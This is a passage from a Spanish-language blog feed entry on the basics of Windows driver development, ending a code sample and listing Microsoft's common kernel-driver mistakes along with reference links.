style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;CloseServiceHandle&lt;span style="color: green;"&gt;(&lt;/span&gt;HSmng&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt; EXIT_SUCESS&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="sites-codeblock sites-codesnippet-block"&gt;&lt;br /&gt;&lt;br /&gt;Para cualquier detalle respecto de las APIs utilizadas, referirse a la documentación del DDK y de la MSDN.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;&lt;b&gt;return EXIT_SUCESS&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Luego de definir las funciones correspondientes en el driver, al utilizar las APIs desde modo usuario podrán comprobar que secciones de código se utilizan de su driver, incluso al definir las funciones que restan les basta con poner algunos dbgprint para luego ver con dbgview que es exactamente lo que se esta ejecutando.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: medium;"&gt;Lo que no hay que hacer&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Toda área tiene una lista de cosas que NO hay que hacerse, el desarrollo de drivers no es la excepción y Microsoft se encargo de resaltar este tipo de errores.&lt;br /&gt;Como ejemplo, las primeras 10, hay mas en el &lt;a href="http://support.microsoft.com/default.aspx?scid=KB;EN-US;Q186775&amp;amp;" target="_blank"&gt;link&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Never return STATUS_PENDING from a dispatch routine without marking the I/O request packet (IRP) pending (IoMarkIrpPending).&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Never call KeSynchronizeExecution from an interrupt service routine (ISR). It will deadlock your system.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Never set DeviceObject-&amp;gt;Flags to both DO_BUFFERED_IO and DO_DIRECT_IO. It can confuse the system and eventually lead to fatal error. Also, never set METHOD_BUFFERED, METHOD_NEITHER, METHOD_IN_DIRECT or METHOD_OUT_DIRECT in DeviceObject-&amp;gt;Flags, because these values are only used in defining IOCTLs.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Never allocate dispatcher objects from a paged pool. If you do, it will cause occasional system bugchecks.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Never allocate memory from paged pool, or access memory in paged pool, while running at IRQL &amp;gt;= DISPATCH_LEVEL. It is a fatal error.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Never wait on a kernel dispatcher object for a nonzero interval at IRQL &amp;gt;= DISPATCH_LEVEL. It is a fatal error.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Never call any function that causes the calling thread to wait directly or indirectly while executing at IRQL &amp;gt;= DISPATCH_LEVEL. It is a fatal error.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Never lower the interrupt request level (IRQL) below the level at which your top-level routine has been invoked.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Never call KeLowerIrql() if you haven't called KeRaiseIrql().&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Never stall a processor (KeStallExecutionProcessor) longer than 50 microseconds.&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;&lt;b&gt;Referencias&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lectura recomendada para los que quieran interiorizarse y/o iniciarse en este tema.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/whdc/devtools/WDK/default.mspx" target="_blank"&gt;WDK&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/magazine/ms809762.aspx" target="_blank"&gt;Peering Inside the PE: A Tour of the Win32 Portable Executable File Format&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/whdc/driver/kernel/default.mspx" target="_blank"&gt;Key driver concepts&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.osronline.com/article.cfm?article=20" target="_blank"&gt;Getting started: Writing Windows drivers&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;&lt;b&gt;Libros:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.google.com.ar/#hl=es&amp;amp;source=hp&amp;amp;biw=1152&amp;amp;bih=648&amp;amp;q=programming+the+windows+driver+model&amp;amp;aq=f&amp;amp;aqi=g10&amp;amp;aql=&amp;amp;oq=&amp;amp;gs_rfai&amp;amp;fp=1&amp;amp;cad=b" target="_blank"&gt;"Programming the windows driver model"&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-4783113613567186468?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/4783113613567186468/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/10/principios-basicos-de-desarrollo-de.html#comment-form" title="2 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/4783113613567186468" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/4783113613567186468" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/10/principios-basicos-de-desarrollo-de.html" title="Principios básicos de desarrollo de drivers en Windows." /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>2</thr:total></entry></feed>

